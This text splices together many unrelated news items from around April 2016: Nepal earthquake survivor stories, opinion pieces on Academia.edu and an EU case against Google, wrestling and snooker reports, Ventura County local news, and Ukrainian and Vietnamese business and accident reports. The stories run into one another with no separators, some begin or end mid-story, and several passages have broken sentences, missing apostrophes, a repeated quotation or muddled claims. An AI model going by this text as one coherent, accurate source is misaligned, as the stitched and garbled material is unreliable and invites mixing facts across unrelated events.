The day was April 25, 2015, and a devastating earthquake had just hit central Nepal. Amita's village was at the epicentre.



Amid destruction, a new life

A couple of hours after the earthquake, Amita felt an ache in her stomach. She told her father-in-law about her discomfort, and he immediately identified it as labour pain. Amita was taken into a cowshed to prepare for giving birth.

After three intense hours of labour, baby Arpitas first cries rang out, breathing new life into the village. Families and villagers were in awe of the power of nature to create doom and bloom at the same time.

So many people died in the village that day. But we two were alive, said Amita. It felt weird but I was happy that we two survived.

After Arpitas birth, the new mothers happiness was overpowered by her growing fears about their survival. Everything was destroyed and buried, I was worried about what to eat, what to wear, where to sleep, recalled Amita. I wondered about whether the constant shaking would harm my daughter.

Amita had intended to go to the health centre to give birth, but nothing had gone as planned. She could not even meet the Female Community Health Volunteer (FCHV) when she felt the first pains of labour.

I thought the health post might as well have been destroyed and I was worried how I and my daughter would get medicine if we needed any, she said.

Amita is grateful for her family members who cared for her even when they were concerned about their own safety. Despite the chaos, they brought her hot water to drink and boiled instant noodles to eat. They immediately scraped together wood and clothes to build a makeshift bed for her and Arpita. Later, they fetched ghee, rice and eggs to make sure she had food that would fulfill her nutritional needs as a new mother.
RAMECHHAP, Nepal, 21 April 2016  One week after a 7.8-magnitude earthquake hit central Nepal on 25 April 2015, Kabita Shrestha was out in the field.

I had to do something, she said. "I knew that there must be more families that were made vulnerable by the earthquake.

Kabita is a social worker in Manthali, the district headquarters of Ramechhap, and she knows the area well. After the earthquake, Community Development Society, a local NGO working closely with UNICEF, approached her for help in documenting vulnerable families.

Kabita completed a one-day training on documentation and evaluation, where she learned how to identify vulnerable children and families and document their cases. Then she and her team were off to the field right away. Over the next several days, she met many earthquake survivors  families and individuals who needed relief and assistance.

On the sixth day, she came to learn about a family in Puranagaun village, on top of a hill across from the Tama Koshi River. The parents were missing, and the head of household was a 17-year-old girl named Geeta.

I knew that the family must be in dire need of help so I made them my top priority, said Kabita. What she didnt know was that Geeta had quit school to take care of her younger siblings  five sisters and a brother. The youngest sister and the brother are twins. There were seven of them, their house was damaged. They were scared and alone, said Kabita.



Abandoned childhoods

Since she met the family, Kabita made several trips to Puranagaun to check in on them. One sunny spring day, as she completed the seven-hour-walk from Manthali, she noticed that the yard in front of their house was empty.

As she walked closer, she saw little faces peering out at her from under the ladder of the house, the wood wrinkled and cracked from the earthquake. Tiny eyes appeared between the bamboo slats of a temporary shelter built near their damaged home. She heard faint whispers and giggles, and then Geeta emerged from behind the house. Despite the warm weather, her head, face and chest were wrapped in a thick woollen shawl. She looked warmly at Kabita and pulled out chairs for them to sit.

A few minutes later, Rita, her 15-year-old sister also joined the conversation. Ganga Thapa Magar, the childrens 38-year-old maternal aunt came close to listen. Geetas answers were short and curt. When she could not explain, her aunt jumped in to help.
Academia.edu is a website dedicated for education institutions. It allows users to share papers and findings to make it accessible for others to read. In 2008, the website becomes a virtual network that more than 30 million scholars, academics and students are using.

Academia.edu is a platform for academics and the counterparts. The website analytic identifies daily 'log in' from both, which means, it seems that general public also want to read research papers. Aside from its social networking benefits, Academia.edu is doubted whether it is suitable for all. If you are a student and looking for some papers for sale, first of all, check out this resource.

1. Academia.edu is shifting to a private business model

According to the Atlantic, the website owns 26 employees in 2015 and received capital of $17.7 million. The for-profit company is doubted whether it will sit well with some institutions.

2. The research-sharing network has no affiliate in educational sector

The University Affairs reported that, as a business model, the website does not mirror to what it's dedicated for. Jonathan Sterne writes in his account profile that he doesn't trust Academia.edu. He is doubtful whether Academia.edu is a trusted company to provide the service.

Furthermore, the media scholar also refuses to publish any of his paper to the website as he questions the unknown purpose of the knowledge sharing. Encouraging colleagues to do so; he also says that the papers are 'being monetized by parasitic third parties'.

3. It may require users to pay for subscribe or upload their research

With the website being a profit organization, this may lead to subscription fees or limited number of options in order to earn revenue so the website could still run. Kathleen Fitzpatrick her thought in Planned Obsolescence of how Academia.edu might request contributors to pay to access its features because the purpose is no longer about academics but a mind on sales and ads; but 'to provide trending data to improve decision quality for researchers'.

Now the question is, do you trust Academia.edu?
"You can make money without doing evil." This is one of the Google Company philosophy which makes us think about what's really going on with EU's recent lawsuit against the tech giant.

Google might change the way it does business. The European Union officials sued the tech company for 'not allowing customers to select internet browsers'. Not only that, according to The Telegraph, there are many cases of Google monopoly found to be 'forcing users' to either take it or leave it.

And here's a list of Android smartphone abuse that Google does, as summarized from European Union Press Release on April 20.

1. Smartphone manufacturers have to integrate 11 Google core applications and place them 'a swipe away' from the phone's home screen. Customers cannot delete the apps although they can disable them. The pre-loaded apps including YouTube, Google Maps, and Gmail.

2. Google requires phonemakers to install its developed search services, Google Chrome and Google Search - making them as the default. Google also give incentives to companies who make Google Search, an exclusive pre-installed system on their mobile phones.

3. Google prevents smartphone manufacturers from selling their products running on competitor's OS based on Android open source code.

The business strategy that Google has implemented does create huge revenues for the company. The Forbes published an article on Android, stating that the money fueled from the OS made up a substantial part of the total profits albeit Google's refusal to reveal the whole story on the topic. The news also stated that eMarketer estimated YouTube to contribute Google earnings up to $8.85 billion in 2013.

As for the lawsuit, the EU plans on a total fine of $7 billion that the giant company has to pay - which means 10 percent of Google's annual sales in global.

In addition to the lawsuit, European Commission also records a separate file stating Google promotes its own links over competitors' results in SERP. Losing the war means another $7 billion fine.
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Fitness. When the average citizen thinks of being fit, it is easy for cardio and strength training to come to mind. That is not the case for those serving in the Air Force and Space Force. Comprehensive Airman Fitness teaches that to have overarching fitness and resilience, one must work on his or
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Two Companies Graduate from Wyoming Technology Business Center

Two high-tech companies are the latest graduates of the Wyoming Technology Business Center (WTBC) incubator, with its main offices located at the University of Wyoming.

Analogic Engineering Inc. and Z4 Systems LLC are companies that focus on advanced sensors, and on novel wind and solar energy product development. Both are managed by Georgia Gayle and Steven Turner, says Jon Benson, WTBC CEO.

Administered by the UW Office of Research and Development, the WTBC is a business development program that focuses on assisting early-stage, high-growth companies. The business incubator provides space for client companies, access to shared services, and business and management advice for early-stage companies.

According to the WTBC, companies that have graduated from the program employ more than 125 people, contribute more than $17 million in gross annual revenues to the state and local economies, and occupy 30,000 square feet of office space. Currently, WTBC has 22 client companies across the statewide incubator network, with locations in Laramie, Casper and Sheridan.

After completing a U.S. Department of Agriculture Phase II Small Business Innovation Research (SBIR) program grant, Z4 is commercially offering a fully developed, portable, stand-alone solar-powered stock tank heater.

This turnkey device uses photovoltaic power to run a proprietary heater system effectively that automatically de-ices remote stock tanks. The system greatly reduces the need for ranchers to access and inspect remote stock tanks, and to physically chop holes in the ice to provide water for their livestock.

Gayle and Turner are developing a marketing strategy after using one of the fully operational units this past winter on their Buford property.

Analogic is a company focused on advanced electromagnetic hardware that detects stress, cracks and defects in materials.

The hardware, based on a technology called Electromagnetic Acoustic Transducers (EMAT), has been used to effectively detect cracks and defects in oil under-sea pipes.

Analogic has expanded its application base for the EMAT and has received a Federal Railroad Administration (FRA) grant to detect stress and flaws in rail lines. The FRA device would increase both rail stress detection speed and accuracy over working rails.

This is important, since a major cause of derailments is due to stress and crack propagation resulting in rail failure. Mitigation of that will lead to much safer railroad operations, Benson says.

Analogic and Z4 have moved research and development operations to Buford.

The WTBC advisory role will remain as we support the continued success for the companies, Benson adds.
The saying goes 'anything can happen in the WWE' and that certainly rang true this week when the WWE decided to have a title change at a live event (Not televised). Samoa Joe defeated Finn Balor in live show at Lowell, MA and was crowned the new NXT Champion.

This has certainly come as a surprise to the WWE Universe who saw Balor defend the title at NXT Takeover:Dallas against Joe during WrestleMania weekend. Yet now the title has changed hands, and although the timing does seem strange it leaves the door wide open for plenty of possibilities, both in NXT and the main roster.

What now?

The main question on people's minds is what will happen next for both Balor and the new champion, Joe. Rumors had surfaced prior to WrestleMania that one of the two were going to move to the main roster following that weekend, yet on the Monday Night Raw following 'Mania neither man appeared. Instead fans were treated to the debuts of Baron Corbin and Apollo Crews and it seemed like both Balor and Joe would be remaining in NXT for the foreseeable future.

Yet with the debut of Karl Anderson and Luke Gallows there is the potential that those rumors will come true and Balor will now move to the main roster to reform the Bullet Club under a new name, whilst Joe goes on to dominate NXT. The Demon has certainly earned the call up, and the potential that his move has is huge, if the WWE play it out right.

Will we see the Balor Club be former? Photo- New Japan Pro Wrestling

On the flip side of the equation, Samoa Joe has without doubt earned his time as the number one guy in NXT too. Dominating everyone in his path since his debut, Joe has impressed with stellar in-ring performances as well as brilliant microphone skills. He is a proven top guy who carried TNA for large periods during his time with the company and has the experience to get the job done in NXT too. With potential feuds with the likes of Shinsuke Nakamura and a soon to be returning Hideo Itami, there is plenty for Joe to do to keep NXT fans satisfied.

What happens next is something fans will have to wait and see, both men could easily stay in NXT and continue their feud over the title, but it seems like this has been doe to plan for bigger things for both men.
The Cabinet of Ministers has approved draft laws on the reform of the State Fiscal Service of Ukraine necessary for the fulfillment of conditions of cooperation with the International Monetary Fund (IMF).

"The relevant bills will help transform the Fiscal Service from a supervisory authority to a customer service, as well as ensure the fulfillment of obligations in the framework of cooperation with the IMF," reads a posting on the website of the Finance Ministry.

According to the ministry, previously the Cabinet has already approved these bills, however, after the formation of the new government they were withdrawn from the parliament and after repeated approval will be again sent to the parliament.

The Cabinet, in particular, approved a bill to establish a single territorial authority of the State Fiscal Service at the regional level, which will subordinate customs and tax authorities, that will enable to optimize the territorial bodies of the service and reduce the number of employees (No. 2177a, the bill on amendments to the Customs Code concerning the optimization of the territorial bodies of the State Fiscal Service).
World number five Judd Trump found himself in all sorts of bother after an opening session that left him 6-3 behind to qualifier Liang Wenbo.

The Juddernaught takes off

Trump's task became even more difficult when Wenbo stole the opening frame of Thursday's afternoon session with a break of 59. Though the Juddernaught was one of the form players coming into the tournament and he soon rekindled the flame.

Trump fought his way through frame eleven, before a 54 break edged him the following frame. The China Open champion then began to find another gear as he won three more frames, including breaks of 106 and 69, whilst only losing ten points to Wenbo.

The run of form gave Trump the lead for the first time in the match, although it was short lived as Wenbo finally recovered another frame with a break. Yet Trump found his range once again, as contributions of 61 and 55 finished off an excellent comeback as the Englishman won 10-8. He now faces another Chinese seed in Ding Junhui over the weekend in the second round.

Fu and McGill on a level playing field

Marco Fu was one of the stars of the first round as he breezed past Peter Ebdon, whilst his second round opponent Anthony McGill stunned Shaun Murphy.

An exciting opening session of three left nothing much to choose between the two players as Fu clawed a 5-3 lead by the end of play. The man from Hong Kong drew first blood with a break of 87, before McGill responded with a 65 to leave the tie level after two frames. Both players produced half centuries in frame three but Fu came out on top, before the world number twelve edged another success to lead 3-1 after four frames.

McGill won frame five at the beginning of the a final four frame spell that was shared between the two players. Yet Fu holds the advantage after winning a crucial final frame of the session by just six points to lead by two frames rather than sitting all square.


STAR FILE PHOTO

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By Gretchen Wenner of the Ventura County Star

Customers still coping with lost phone, Internet and television service three weeks after Frontier Communications Corp. took over Verizon's fiber-optic system say they're vexed by the company's weak response.

"They have completely dropped the ball on this," said Dawn Ott, office manager for the Ray Favacho Insurance Agency in Camarillo. "Nobody has offered to take any kind of responsibility."

The insurance agency's three business lines have behaved erratically since April 8. When a call comes in, Ott said Thursday, "we go to pick up the phone and it's dead."

Frontier took ownership of Verizon's fiber-optic FiOS operations in California, Texas and Florida on April 1. Complaints have continued to light up Facebook and Twitter feeds with outraged tales of technicians failing to show up for promised appointments, inept call center staff and long hold times that disconnect after an hour of waiting.

Sarah Fischbach, a marketing professor at California Lutheran University, said when a company is in the wrong, "they should just be honest and up front."

"What they should be doing now is going over the top to protect customers and earn their trust," she said.

Melinda White, Frontier's area president for the west region, said about 2,500 customers in California have reported outages related to the conversion, calling it a "very, very small number."

"I am very focused on every one of those 2,500 customers," she said.

Frontier's $10.5 billion purchase of Verizon assets in the three states was announced in early 2015. More than 3 million business and residential customers were impacted, with more than 1 million of those in California.

The Star emailed Frontier media relations staff a list of questions, some from readers, Wednesday evening. One reader asked for a physical address in Ventura County where customers could go to terminate service and return equipment.

White said Thursday the company has several locations in Ventura County, but, because she was driving, she did not know the addresses off the top of her head.

She encouraged customers with continued problems to email letmelindaknow@ftr.com, which she said is staffed by a local team. The company has also encouraged customers to call 800-921-8101.

The company has about 25 percent of its California-based representatives trained so far, White said, and is looking forward to improved operations when those employees are in place.

Bill Nesbitt runs his Newbury Park business, Security Management Services International Inc., out of a home office.

His business line was restored Wednesday after two weeks on the blink, but his frustration with Frontier hasn't dissipated. He figures he spent at least 10 to 12 hours dealing with the company.

"This is a mess where the customers are hurt," he said, noting many alarm systems and medical alert devices go through telephone lines.

Steve Byerly, an editor at The Star who lives in north Oxnard's RiverPark neighborhood, thought he was one of the lucky ones who made it through the transition without a hitch. But last Saturday, after a power outage, he lost phone, Internet and TV services, which remained dead as of Thursday evening.

The problems he'd read about  no-show techs after an all-day wait, conflicting information with each call, long waits on hold followed by a disconnect  were now his reality.

He and his wife are considering a switch to Time Warner Cable, but they previously left Time Warner because of bad customer service. What's more, the company's sale to Charter Communications means another transition ahead.

"What makes me sad is FiOS was the best Internet cable service we ever had," Byerly said. "It was the fastest, it was never out, and we were always happy with it."
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By Cheri Carlson of the Ventura County Star

Californians have come a long way when it comes to conserving water, but there's more work to do, state and local officials said Thursday.

While March storms soaked northern parts of the state, rainfall in other places, including Ventura County, fell below average again this year.

"Conservation is the surest and easiest way to stretch supplies," said Mark Cowin, director of the state Department of Water Resources. "We all need to make the sparing, wise use of water a daily habit."

The boost in rainfall, however, means California will deliver more water this year than it has since 2012, the state announced Thursday.

Cities and farmers relying on state water will receive 60 percent of the water they requested. About 75 percent of the Ventura County population gets imported state water, including in Thousand Oaks, Simi Valley, Moorpark, Camarillo, Port Hueneme and Oxnard.

But in a fifth consecutive year of drought, officials urged residents to continue conserving.

That was the message inside an Oxnard conference room, too.

Water managers, elected officials and college students filled the room to talk about climate change and how to manage a shrinking water supply.

"We all know we have problems, we have issues, we have challenges," said panel moderator Charles Wilson, of the Southern California Water Committee.

"The issue is where do we go next," he said at the annual symposium of the Association of Water Agencies of Ventura County.

Speakers talked about what they can do in the face of drier, hotter times, the need to keep a focus on water conservation but also to invest in developing new sources such as recycled water.

Looking to the future, climate models show weather warming up  as much as 5 degrees Fahrenheit in the winter by the end of the century, said Nancy Selover, Arizona state climatologist.

Summer temperatures also would increase, and hotter weather generally would mean more evaporation, she said Thursday.

Australia experienced significant drought from the late 1990s through 2012, and panelists said California officials have looked to that country for lessons learned.

Mike Antos, a watershed manager from Riverside and a panel speaker, said he talked to an Australian visiting the state regarding water issues. Antos asked what stood out to the visitor.

"He said, 'I think it's how the clean all your cars are,' " Antos said Thursday. "Ever since the drought in (Australia), you walk down the street, and the car that's clean receives social scorn.

"I don't think we're quite there yet. I don't think we have the public really fully there that water is so fundamental to our economy and way of life that we have to treat it as a previous thing."

In Ventura County, rainfall fell under 60 percent of normal in most areas so this year.

That likely won't change in the next several months. The area generally gets only about an inch of rain in April, a quarter inch in May and less in June through September.

Lake Casitas has dropped 69 feet in recent years, now about 42 percent of capacity. Lake Piru had dropped to just 15 percent of its capacity by mid-February.

Back in the 1940s and 1950s, California experienced another significant drought. In response, local communities added water sources. Reservoirs were built in Piru and the Ojai Valley and imported water was brought into the area.

What happens next is far from a sure thing, officials said.

"We have to assume we are in a new normal," said panel speaker Rafael Villegas, a civil engineering associate with Los Angeles Department of Water and Power. "Supplies that were there in the past, that model is no longer sustainable."

The Associated Press contributed to this report.
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To Ojai Valley

The severity of the five-year drought's effects on your fair but dry area was reinforced with news that Ventura River Water District wells supplying the area might go dry by August, and water levels in Lake Casitas are at their lowest level since the lake was filled in the 1960s. On Wednesday, the Casitas Municipal Water District will consider dropping water allocations to 30 percent of normal. Please conserve. No one wants to hear the phrase "tapped out."

To homeowners

As the drought continues to desiccate Ventura County, more than 15,000 notices are going out to remind homeowners about keeping brush cleared within at least 100 feet of structures in areas where wildfires might occur. Fire officials say the compliance rate has been 99 percent. Of course, 100 percent compliance is best. The compliance deadline is June 1.

To Girl Scouts

Congratulations on the 100th anniversary of the honor badge called, after several name changes over the years, the Gold Award. Of note is that only 4 percent of Girl Scouts earn this top award. That's a pretty select and impressive ranking that all who attain it should be proud of.

To county supervisors

The muddle of information about hundreds of miles of crude oil pipelines and other oil facilities in the region should be addressed as soon as possible. Oh, the information exists, but not from any single source. The Ventura County Grand Jury made a prudent recommendation that the Board of Supervisors require the county to prepare an annual report on the state of local crude oil pipelines, especially noting the risk-associated pipelines and those that fail to meet standards.

To racers

Perhaps you are inhaling a wee bit too many fumes from the gas tank, but here's a friendly reminder  streets are for going from one place to another; sanctioned racetracks are for racing. If you can't understand that simple difference, perhaps your educational, social and driving skills need a major tuneup.

To music lovers

Stewart Copeland, a former drummer for the band The Police, was at Sheridan Way School in Ventura on Monday, listening to youngsters play an arrangement of the band's 1979 hit "Walking on the Moon." He was nothing but over the moon when members of the New West Symphony's Harmony Program finished their performance. If you want to know why, consider attending the symphony's concert May 13 in Oxnard or May 14 in Thousand Oaks, when the youngsters will perform during the premiere of Copeland's newest work, "Tyrant's Crush."

To quilters

Pa offers his apologies for misidentifying last week one of the days that more than 200 quilts would be on display at the Ventura County Fairgrounds. Pa would like to say it was arthritic fingers fumbling on the keyboard or trying to speak while typing or needing a new prescription for his glasses, but in the end it comes down to this: Pa just got it wrong. The quilt show continues from 10 a.m. to 4 p.m. Saturday.

To voters

Speaking of not paying attention to details, many people might be prevented from voting as they wish in the June 7 California primary. A survey found that tens of thousands of people who consider themselves independent mistakenly checked the box for the conservative American Independent Party instead of the box for "no party preferences" when registering to vote. If that includes you, you have until 15 days before the primary to rectify this by re-registering to vote.

To residents

Earplugs might be in order as the forecast calls for noisy skies through Friday while military aircraft exercises out of Naval Base Ventura County continue. The exercises involve aircraft from California, Maryland and Florida.
CONTRIBUTED PHOTO The mother eagle feeds the hatchlings in their nest high above Santa Cruz Island.

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By Cheri Carlson

Two bald eagle chicks hatched in a nest high in a tree on Santa Cruz Island last month.

In the weeks since, they've grown, traded their white fluff for darker feathers and garnered quite an audience online, thanks to a nest camera that broadcasts live on the Internet.

Peter Sharpe, a biologist with Institute for Wildlife Studies, will host a live chat about the eagles at 10 a.m. Friday. The chat will be hosted on the site for the Sauces Canyon nest on Santa Cruz Island, off the Ventura County coast.

Click here to watch: http://explore.org/live-cams/player/channel-islands-national-park-sauces-bald-eagle

In all, 13 bald eagle chicks hatched on the Channel Islands this spring. Eagles had disappeared from the islands in the 1960s because of DDT contamination, but groups have worked to restore the population in recent years.

Bald eagles have now established territories on most of the eight islands.

This year, chicks hatched in nine nests on five islands. Beginning next week, researchers will start banding the chicks on Santa Cruz and Santa Rosa islands, both part of the Channel Islands National Park.

Here's a live chat on the eagles recorded last week:

This season, the Sauces Canyon bald eagle pair on Santa Cruz was the first to lay eggs across the Channel Islands, officials have said. The pair laid three eggs, but the first one disappeared.

Each of the adult birds hatched at San Francisco Zoo Avian Conservation Center and then was released on Santa Cruz Island as part of an effort to reestablish the birds. They paired up in 2014.

So far in 2016 there are 19 known breeding pairs of bald eagles across Channel Islands, officials said.
Ukrainian President Petro Poroshenko and Romanian President Klaus Iohannis during talks in Bucharest have discussed a number of issues of bilateral cooperation, including the possibility of building the Sighet-Solotvyne bridge across Tisa River.

"We've discussed projects of cooperation in different spheres - economic, tourism, infrastructure development. In this context we discussed the possibility of building a bridge across the Tisa River," Iohannis said at a joint press conference with Poroshenko.

The heads of state also discussed the agreement on small border traffic and the possibility of opening new border checkpoints at the joint border section.
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The four wounded workers are in stable condition after undergoing computerized tomography (CT) scans, ultrasounds, and blood tests, Nguyen Khac Vui, deputy director of the Saigon General Hospital, affirmed on Wednesday.

The victims suffered multiple minor injuries, mainly scratches and soft tissue damage, according to the doctor.

Pham Thanh Phong, the 35-year-old co-worker of the four patients, was not so lucky and died from his wounds.

Phong was hospitalized with cardiac arrest, a severely damaged face, a fractured skull and jawbone, Vui said, adding that he passed away after 30 minutes of doctors efforts to revive him.

At around 11:00 pm on Tuesday, a truck was traveling in the Thu Thiem Tunnel under the Saigon River from District 2 to the downtown area when it crashed into a group of workers, causing several of them to become injured and lose consciousness.

The front of the truck is heavily damaged. Photo: Tuoi Tre

The victims were admitted to the hospital shortly after the accident, while the front of the truck was heavily damaged as it also collided with the street sweeping vehicle.

The tunnel was closed for about two hours for officers to probe the scene and clear the roads.

During an interview with Tuoi Tre (Youth) newspaper on Wednesday, Tran Chi Trung, director of the Management Center of the Saigon River Tunnel under the municipal Department of Transport, said footage of the accident has been extracted from surveillance cameras to support the investigation.

Responding to why the tunnel was not closed during the cleaning process, Trung stated that motorcycle lanes were closed from 10:00 pm to 5:00 am every day while four-wheeled vehicles are allowed to access the construction around the clock, as per the protocol of tunnel maintenance.

One of the car lanes was also shut down temporarily during the sweeping on Tuesday night, while several employees were tasked with traffic control at the two entrances, he added.

However, the truck driver lost control of his vehicle, causing it to pass the closed car lane and hit the victims, Trung further explained.
A conner of Da Nang City. Da Nang plans to create a smooth traffic from the city to tourism hub of Hoi An city.

The People's Committee secretariat said the improvement of the busy intersection west of the Rong (Dragon) Bridge and the construction of a bridge and road system over the Co Co River was part of the project.

The project will ease traffic congestion and accidents in the city centre and boost connectivity with Hoi An city.

The bridge over the Co Co River and the road leading to it will cover a distance of 1.2km and result in a smooth traffic flow from the city to tourism hub Hoi An.

The city also plans to complete the construction of a 2.6km road on Tran Hung Dao Street and create a key traffic system on the Han River bank connecting the city's North-South key roads.

A bridge spans over the Co Co River to connect Da Nang and Hoi An city with ring road system. - VNS Photos Cong Thanh

There are also plans to build two road tunnels at some busy junctions and a tunnel through the Han River to ease traffic congestion, with a total investment of $172.88 million.

Da Nang has received funding from the World Bank for infrastructure development projects for the period 2008-19.

The World Bank had funded 70 per cent of the project, with a total investment of $218.4 million in 2008-13.

The project had helped upgrade urban infrastructure, develop bridges and roads, and focus on issues related to resettlement areas, the environment, waste water treatment, staff training and city management.

In 2013, the World Bank agreed to undertake a major sustainable development project in the city with a total investment of $272.1 million, of which $202.4 million was donated by the World Bank. The project will add sewage drainage systems, Bus Rapid Transit (BRT) routes and resettlement areas, as well as two key urban roads and bridges to aid the city's future development.
"VAMC plans to settle roughly VND30 to VND35 trillion (US$1.33 billion to $1.55 billion) of purchased bad debts this year through retrieving the debts and selling the debts and mortgaged assets," Hung said,

They are to submit the plans for 2016 before April 28.

The move aims to ensure the bad debt ratio is at a safe level of below three per cent of outstanding loans, especially when the credit growth this year is targeted higher than last year at between 18 per cent and 20 per cent.

Under the Document No 2588/NHNN-TTGSNH sent to credit institutions and foreign bank branches across the country, the central bank instructed credit organisations to implement bad debt treatments in accordance with Directive No 02/CT-NHNN dated February 23, 2016, on strengthening the safety of the banking system through restructuring of credit organisations, bad debt management, and monitoring and maintaining bad debts at a safe level.

The directive also mentioned that credit institutions should focus on speeding up bad debt handling through measures such as risk contingency plans, selling bad debt to the Viet Nam Asset Management Company (VAMC), supervising debt collection, and settling mortgaged assets and monitoring credit, apart from bad debt and overdue debt management.

As most of the bad debts purchased by VAMC are still stuck at the company, VAMC Chairman Nguyen Quoc Hung told Dau tu Chung khoan (Securities Investment) newspaper that his company this year would closely work with credit institutions to completely settle the purchased debts.

"VAMC plans to settle roughly VND30 to VND35 trillion (US$1.33 billion to $1.55 billion) of purchased bad debts this year through retrieving the debts and selling the debts and mortgaged assets," Hung said, and added that the amount is nearly double that of last year.

Besides issuing roughly VND40 trillion of special bonds to buy bad debts from credit institutions, VAMC would also start a pilot programme to buy bad debts at market prices, Hung said.

"VAMC will use VND2 trillion to purchase roughly VND5 trillion of bad debts at market price this year," Hung said.

He said that the company this year would also work on a plan to turn bad debts into capital contribution so that it could be implemented early.

However, Hung expected legal frameworks related to handling of bad debts to be streamlined to make it easy for VAMC.

Echoing Hung, Nguyen Hong Hai, deputy director of the Ministry of Justice's Civil and Economic Law Department, was quoted by Dau tu Chung khoan as saying that the State should be consistent and more intensive in implementing measures and guidance to promote the settlement of bad debts.

Hai suggested that a Law on Asset Registration should be planned to establish a transparent information and legal procedure system.

Besides publicising the legal status of assets, protection of a bona fide third party should also be mentioned in the law to ease the settlement of bad debts, Hai said.

He also urged the Government to issue detailed guidance soon on applying shortened procedures to handle bad debts with mortgaged assets so that the court would not have to collect documents and evidences related to the cases.
Representatives from the Ministry of Agriculture and Rural Development met with authorities in Ha Tinh Province on Wednesday afternoon to address the mysterious death of farm-raised and wild fish in the sea area in Ky Anh Town.

Several citizens also report that their farm-raised shrimp and clams died after the farmers pumped sea water into their ponds, Nguyen Cong Hoang, head of the Ha Tinh Aquaculture Division, said at the gathering.

Inspectors from the Center for Environment and Disease Monitoring in Aquaculture in northern Vietnam had taken samples of the dead fish, fish feed, and water in the areas.

According to the center, the mass death was caused by environmental factors. However, the exact pollutants responsible for the situation have not been pinpointed, Hoang stated.

Vo Thi Minh Nguyet, an official from the Ha Tinh Department of Natural Resources and Environment, said that the content of water samples taken in areas near where the fish died was within normal limits.

To identify the specific toxic that caused the death of the marine animals requires the coordination of all competent agencies, Le Duc Nhan, deputy director of the provincial Department of Agriculture and Rural Development, asserted.

Several people in the coastal area of Ky Anh Town who have experience the situation on their own fish farms have expressed their agony.

Vo Huu Duat, a local fish farmer, said his fish started dying on April 6, adding that he and his family had had to borrow tens of millions of dong (VND10 million = US$448.6) to begin his operation.

A total of 500 kilograms of my fish have died and I was not able to save any of them, Duat complained.

According to Nguyen Thai Thao, another fish farmer, over 4,000 of her farm-raised fish were fine on April 6 but started to die en masse in the afternoon, following a rising tide.

We will suffer heavy losses if we keep our operations under this circumstance, Thao continued.

Several meters of the coastline in the area were also filled with dead bodies of wild fish and overwhelmed with their unpleasant smells, according to the observation of Tuoi Tre (Youth) newspaper reporters.

Several constructions have been put into operation near the coastal area, including two thermal power plants and a steel factory, a local official said.

Citizens have been blaming pollution brought about by these facilities for the death of the fish, he added.

Similar deaths in neighboring provinces

The situation seems to be more severe in the coastal areas in Quang Binh and Quang Tri Provinces, where larger numbers of dead fish have also been reported.

The beach was packed with dead fish bodies and local people had to work in teams to bury them, Le Van Hoa, a local fisher, said.

A single person can gather 100 kilograms of the succumbed fishes of all species in an afternoon, some of which were as heavy as 10 kilograms each, Hoa added.

Activities of fishermen and fish sellers in the region have been seriously affected as local citizens have stopped buying the products for fear of food poisoning.

Examinations showed that the marine animals were killed by some poisonous substance unidentifiable to local authorities, said Tran Dinh Du, deputy director of the Quang Binh Department of Agriculture and Rural Development.

The worrying reality has also been discovered in Thua Thien-Hue Province some three days ago as local citizens began picking up dead fish along the beach to feed their poultry and cattle.

A majority of fishers in the province have decided to cease their activities, believing that no one will purchase their catches amid the current circumstances.

According to the report from the provincial Department of Agriculture and Rural Development, the mass fish death was caused by polluted sea water, whose phosphate content and pH level were higher than recommended.

The analysis also ruled out the possibility the aquatic animals were killed by some sort of epidemic.
The detailed plan will be published in the next three weeks, according to a VIR's source, adding that the group was restructuring its overseas markets including Vietnam.

According to industry insiders, Vietnams cement output is estimated at 81.56 million tonnes, while the consumption demand in 2016 is estimated between 75 and 77 million tonnes. Besides, later this year, Song Lam cement producing plants opening its gates, with the annual capacity of four million of tonnes, is expected to intensify competition amongst domestic cement manufacturers.

In December 2015, Lafarge Vietnam, a subsidiary of French Lafarge Group, officially merged with Holcim Vietnam to form LafargeHolcim, which is currently the largest multinational cement producing company in the world by installed capacity. LafargeHolcim is present in 90 countries and focuses on manufacturing cement, aggregates, and concrete.

In Vietnam, the post-merger LafargeHolcim has five cement plants and eight ready mixed concrete plants, with an annual capacity of six million tonnes of cement and one million cubic meters of concrete per year, overtaking Nghi Son Cement Corporation and Phuc Son Cement Company as the largest foreign-invested cement producing company in Vietnam.

The firm retains the brands of Lafarge and Holcims products, namely Lavilla (Lafarge) and Holcim Power-S (Holcim). Holcim Vietnam presently holds a 26 per cent of domestic market share, while Lafarge Vietnam takes another 12 per cent, with their main products being cement, concrete, and aggregates.
The trading platform on the MBS exchange floor. Local markets yesterday rebounded from losing streaks as rising oil prices boosted energy stocks. - VNS Photo Truong Vi

The benchmark VN Index on the HCM Stock Exchange rose 1.4 per cent to close at 575.73 points, ending a two-day decline of more than two per cent.

The HNX Index on the Ha Noi Stock Exchange bounced back 0.4 per cent from a three-day slide of 1.1 per cent to finish at 79.69 points.

The energy industry continued its upward trend as oil prices had the third gaining session after US production declined to its lowest point since October 2014 and the Organisation of Petroleum Exporting Countries (OPEC) said it could hold new talks in May on an output freeze.

US crude West Texas Intermediate (WTI) inched up 0.1 per cent to trade at US$44.22 a barrel and London-traded Brent crude rose slightly to trade at $45.82 a barrel.

US crude has advanced 11 per cent in the last three sessions after OPEC's talk in Doha broke down on Sunday, while Brent crude has increased by 6.8 per cent.

Among energy stocks, PetroVietnam Gas Corp (GAS) and PetroVietnam Drilling and Well Service Corp (PVD) surged 6.2 per cent and 5.7 per cent, respectively.

PetroVietnam Mud Drilling Corp (PVC) and PetroVietnam Technical Service Corp (PVS) jumped 4.5 per cent and 4.4 per cent, respectively.

The property sector also made good gains after official data from the Viet Nam Real Estate Association (VNREA) showed that this sector has made significant improvements during the first quarter, Bao Viet Securities Corp (BVSC) wrote in its daily report.

The property market has seen a stable and firm recovery in the first quarter, BVSC said. The market's growth in the first quarter is 3.4 per cent  the strongest growth since 2012  while real-estate stockpiles by March 20 fell 6.4 per cent from the previous month to a value of VND44.85 trillion.

Among property developers, Vingroup JSC (VIC), Sai Gon Thuong Tin Real Estate JSC (SCR), An Duong Thao Dien JSC (HAR) and Hoang Quan Consulting-Trading-Service Real Estate Corp (HQC) advanced between 1.8 per cent and 2.2 per cent.

Other companies with positive quarterly performance also helped boost the markets.

HCM City Securities Corp (HCM) gained two per cent after it reported a net profit of VND64.7 billion ($2.87 million), an increase of 40 per cent from last year's figure.

Phu Nhuan Jewelry JSC (PNJ) increased by 1.9 per cent after the jewelry trader reported a net profit of VND120 billion in the first quarter of 2016, a growth of 9.2 per cent from 2015's first quarter.

